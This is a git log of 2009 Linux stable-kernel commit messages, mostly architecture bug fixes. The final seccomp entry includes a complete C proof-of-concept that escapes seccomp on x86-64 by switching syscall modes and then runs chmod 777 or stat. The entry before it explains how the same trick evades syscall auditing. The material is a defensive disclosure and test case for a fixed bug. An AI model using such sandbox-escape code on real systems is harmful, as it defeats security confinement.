linux-toradex.git/arch, branch v2.6.28.8

MIPS: compat: Implement is_compat_task.

2009-03-17T00:32:46+00:00

commit 4302e5d53b9166d45317e3ddf0a7a9dab3efd43b upstream.

This is a build fix required after "x86-64: seccomp: fix 32/64 syscall
hole" (commit 5b1017404aea6d2e552e991b3fd814d839e9cd67).  MIPS doesn't
have the issue that was fixed for x86-64 by that patch.

This also doesn't solve the N32 issue which is that N32 seccomp processes
will be treated as non-compat processes thus only have access to N64
syscalls.

Signed-off-by: Ralf Baechle 
Signed-off-by: Linus Torvalds 
Signed-off-by: Greg Kroah-Hartman

ARM: Add i2c_board_info for RiscPC PCF8583

2009-03-17T00:32:45+00:00

commit 531660ef5604c75de6fdead9da1304051af17c09 upstream

Add the necessary i2c_board_info structure to fix the lack of PCF8583
RTC on RiscPC.

Signed-off-by: Russell King 
Signed-off-by: Jean Delvare 
Cc: Alessandro Zummo 
Signed-off-by: Greg Kroah-Hartman

x86: fix math_emu register frame access

2009-03-17T00:32:44+00:00

commit d315760ffa261c15ff92699ac6f514112543d7ca upstream.

do_device_not_available() is the handler for #NM and it declares that
it takes a unsigned long and calls math_emu(), which takes a long
argument and surprisingly expects the stack frame starting at the zero
argument would match struct math_emu_info, which isn't true regardless
of configuration in the current code.

This patch makes do_device_not_available() take struct pt_regs like
other exception handlers and initialize struct math_emu_info with
pointer to it and pass pointer to the math_emu_info to math_emulate()
like normal C functions do.  This way, unless gcc makes a copy of
struct pt_regs in do_device_not_available(), the register frame is
correctly accessed regardless of kernel configuration or compiler
used.

This doesn't fix all math_emu problems but it at least gets it
somewhat working.

Signed-off-by: Tejun Heo 
Signed-off-by: Ingo Molnar 
Signed-off-by: Greg Kroah-Hartman

x86: math_emu info cleanup

2009-03-17T00:32:44+00:00

commit ae6af41f5a4841f06eb92bc86ad020ad44ae2a30 upstream.

Impact: cleanup

* Come on, struct info?  s/struct info/struct math_emu_info/

* Use struct pt_regs and kernel_vm86_regs instead of defining its own
  register frame structure.

Signed-off-by: Tejun Heo 
Signed-off-by: Ingo Molnar 
Signed-off-by: Greg Kroah-Hartman

x86, hpet: fix for LS21 + HPET = boot hang

2009-03-17T00:32:43+00:00

commit b13e24644c138d0ddbc451403c30a96b09bfd556 upstream.

Between 2.6.23 and 2.6.24-rc1 a change was made that broke IBM LS21
systems that had the HPET enabled in the BIOS, resulting in boot hangs
for x86_64.

Specifically commit b8ce33590687888ebb900d09557b8807c4539022, which
merges the i386 and x86_64 HPET code.

Prior to this commit, when we setup the HPET timers in x86_64, we did
the following:

	hpet_writel(HPET_TN_ENABLE | HPET_TN_PERIODIC | HPET_TN_SETVAL |
                    HPET_TN_32BIT, HPET_T0_CFG);

However after the i386/x86_64 HPET merge, we do the following:

	cfg = hpet_readl(HPET_Tn_CFG(timer));
	cfg |= HPET_TN_ENABLE | HPET_TN_PERIODIC |
			HPET_TN_SETVAL | HPET_TN_32BIT;
	hpet_writel(cfg, HPET_Tn_CFG(timer));

However on LS21s with HPET enabled in the BIOS, the HPET_T0_CFG register
boots with Level triggered interrupts (HPET_TN_LEVEL) enabled. This
causes the periodic interrupt to be not so periodic, and that results in
the boot time hang I reported earlier in the delay calibration.

My fix: Always disable HPET_TN_LEVEL when setting up periodic mode.

Signed-off-by: John Stultz 
Signed-off-by: Ingo Molnar 
Signed-off-by: Greg Kroah-Hartman

x86/paravirt: make arch_flush_lazy_mmu/cpu disable preemption

2009-03-17T00:32:43+00:00

commit d85cf93da66977dbc645352be1b2084a659d8a0b upstream.

Impact: avoid access to percpu vars in preempible context

They are intended to be used whenever there's the possibility
that there's some stale state which is going to be overwritten
with a queued update, or to force a state change when we may be
in lazy mode.  Either way, we could end up calling it with
preemption enabled, so wrap the functions in their own little
preempt-disable section so they can be safely called in any
context (though preemption should never be enabled if we're actually
in a lazy state).

(Move out of line to avoid #include dependencies.)

Signed-off-by: Jeremy Fitzhardinge 
Signed-off-by: Thomas Gleixner 
Signed-off-by: Greg Kroah-Hartman

powerpc: Fix load/store float double alignment handler

2009-03-17T00:32:28+00:00

commit 49f297f8df9adb797334155470ea9ca68bdb041e upstream.

When we introduced VSX, we changed the way FPRs are stored in the
thread_struct.  Unfortunately we missed the load/store float double
alignment handler code when updating how we access FPRs in the
thread_struct.

Below fixes this and merges the little/big endian case.

Signed-off-by: Michael Neuling 
Signed-off-by: Benjamin Herrenschmidt 
Signed-off-by: Greg Kroah-Hartman

xen: disable interrupts early, as start_kernel expects

2009-03-17T00:32:22+00:00

commit 55d8085671863fe4ee6a17b7814bd38180a44e1d upstream.

This avoids a lockdep warning from:
	if (DEBUG_LOCKS_WARN_ON(unlikely(!early_boot_irqs_enabled)))
		return;
in trace_hardirqs_on_caller();

Signed-off-by: Jeremy Fitzhardinge 
Cc: Mark McLoughlin 
Cc: Xen-devel 
Signed-off-by: Ingo Molnar 
Signed-off-by: Greg Kroah-Hartman

x86-64: syscall-audit: fix 32/64 syscall hole

2009-03-17T00:32:21+00:00

commit ccbe495caa5e604b04d5a31d7459a6f6a76a756c upstream.

On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases, audit_syscall_entry() will use the wrong system
call number table and the wrong system call argument registers.  This
could be used to circumvent a syscall audit configuration that filters
based on the syscall numbers or argument details.

Signed-off-by: Roland McGrath 
Signed-off-by: Linus Torvalds 
Signed-off-by: Greg Kroah-Hartman

x86-64: seccomp: fix 32/64 syscall hole

2009-03-17T00:32:21+00:00

commit 5b1017404aea6d2e552e991b3fd814d839e9cd67 upstream.

On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table.  The fix is simple: test TS_COMPAT
instead of TIF_IA32.  Here is an example exploit:

	/* test case for seccomp circumvention on x86-64

	   There are two failure modes: compile with -m64 or compile with -m32.

	   The -m64 case is the worst one, because it does "chmod 777 ." (could
	   be any chmod call).  The -m32 case demonstrates it was able to do
	   stat(), which can glean information but not harm anything directly.

	   A buggy kernel will let the test do something, print, and exit 1; a
	   fixed kernel will make it exit with SIGKILL before it does anything.
	*/

	#define _GNU_SOURCE
	#include 
	#include 
	#include 
	#include 
	#include 
	#include 
	#include 

	int
	main (int argc, char **argv)
	{
	  char buf[100];
	  static const char dot[] = ".";
	  long ret;
	  unsigned st[24];

	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");

	#ifdef __x86_64__
	  assert ((uintptr_t) dot < (1UL << 32));
	  asm ("int $0x80 # %0 <- %1(%2 %3)"
	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
	  ret = snprintf (buf, sizeof buf,
			  "result %ld (check mode on .!)\n", ret);
	#elif defined __i386__
	  asm (".code32\n"
	       "pushl %%cs\n"
	       "pushl $2f\n"
	       "ljmpl $0x33, $1f\n"
	       ".code64\n"
	       "1: syscall # %0 <- %1(%2 %3)\n"
	       "lretl\n"
	       ".code32\n"
	       "2:"
	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
	  if (ret == 0)
	    ret = snprintf (buf, sizeof buf,
			    "stat . -> st_uid=%u\n", st[7]);
	  else
	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
	#else
	# error "not this one"
	#endif

	  write (1, buf, ret);

	  syscall (__NR_exit, 1);
	  return 2;
	}

Signed-off-by: Roland McGrath 
[ I don't know if anybody actually uses seccomp, but it's enabled in
  at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds 
Signed-off-by: Greg Kroah-Hartman